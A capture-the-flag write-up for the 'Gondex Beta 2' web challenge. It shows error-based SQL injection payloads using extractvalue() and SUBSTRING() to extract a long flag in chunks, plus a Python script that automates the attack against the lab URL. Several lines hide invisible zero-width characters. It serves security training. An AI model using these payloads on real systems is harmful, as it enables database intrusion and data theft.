Gondex Beta 2

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: error_based_sqli_extractvalue, chunked_extraction_substring, xpath_error_injection

Summary

Continuation of the "Gondex Beta 1" task. Same error-based SQL injection, but the flag is very long and exceeds the extractvalue() output limit (about 32 characters). Need to extract the flag in chunks using SUBSTRING().

Gondex Beta 2 — Web Kids 2.0

Description

Continuation of the "Gondex Beta 1" task. Same error-based SQL injection, but the flag is very long and exceeds the extractvalue() output limit (about 32 characters). Need to extract the flag in chunks using SUBSTRING().

URL: http://kslweb1.spb.ctf.su/sqli/error2/

Analysis

When using the standard error-based payload with extractvalue(), we only get the first ~31 characters of the flag. The extractvalue() function has a limitation on the length of the error output. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key observations:

• Same vulnerability as in error1
• Flag is longer than 32 characters
• Need chunked extraction technique

Solution

Step 1: First attempt - getting truncated flag

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, (SELECT flag FROM secret_table))) -- 

Result: ~spbctf{REDACTED (truncated)

Step 2: Chunked extraction with SUBSTRING()

Using SUBSTRING(string, start, length) to extract in chunks:

Part 1 (characters 1-31):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),1,31))) -- 

Result: ~spbctf{REDACTED ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Part 2 (characters 32-62):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),32,31))) -- 

Result: ~REDACTED

Part 3 (characters 63-93):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),63,31))) -- 

Result: ~REDACTED

Part 4 (characters 94-124):

 sql read-only • copy allowed Copy
' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),94,31))) -- 

Result: ~REDACTED}

Step 3: Concatenating the parts

spbctf{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Automation (Python)

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import requests

url = "http://kslweb1.spb.ctf.su/sqli/error2/"
flag = ""
offset = 1
chunk_size = 31

while True:
    payload = f"' AND extractvalue(1, CONCAT(0x7e, SUBSTRING((SELECT flag FROM secret_table),{offset},{chunk_size}))) -- "
    
    r = requests.get(url, params={"search": payload})
    
    # Parse error to extract data
    if "XPATH syntax error" in r.text:
        import re
        match = re.search(r"XPATH syntax error: '~([^']*)'", r.text)
        if match:
            chunk = match.group(1)
            if not chunk:
                break
            flag += chunk
            print(f"[+] Offset {offset}: {chunk}")
            offset += chunk_size
        else:
            break
    else:
        break
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

print(f"\n[+] Full flag: {flag}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍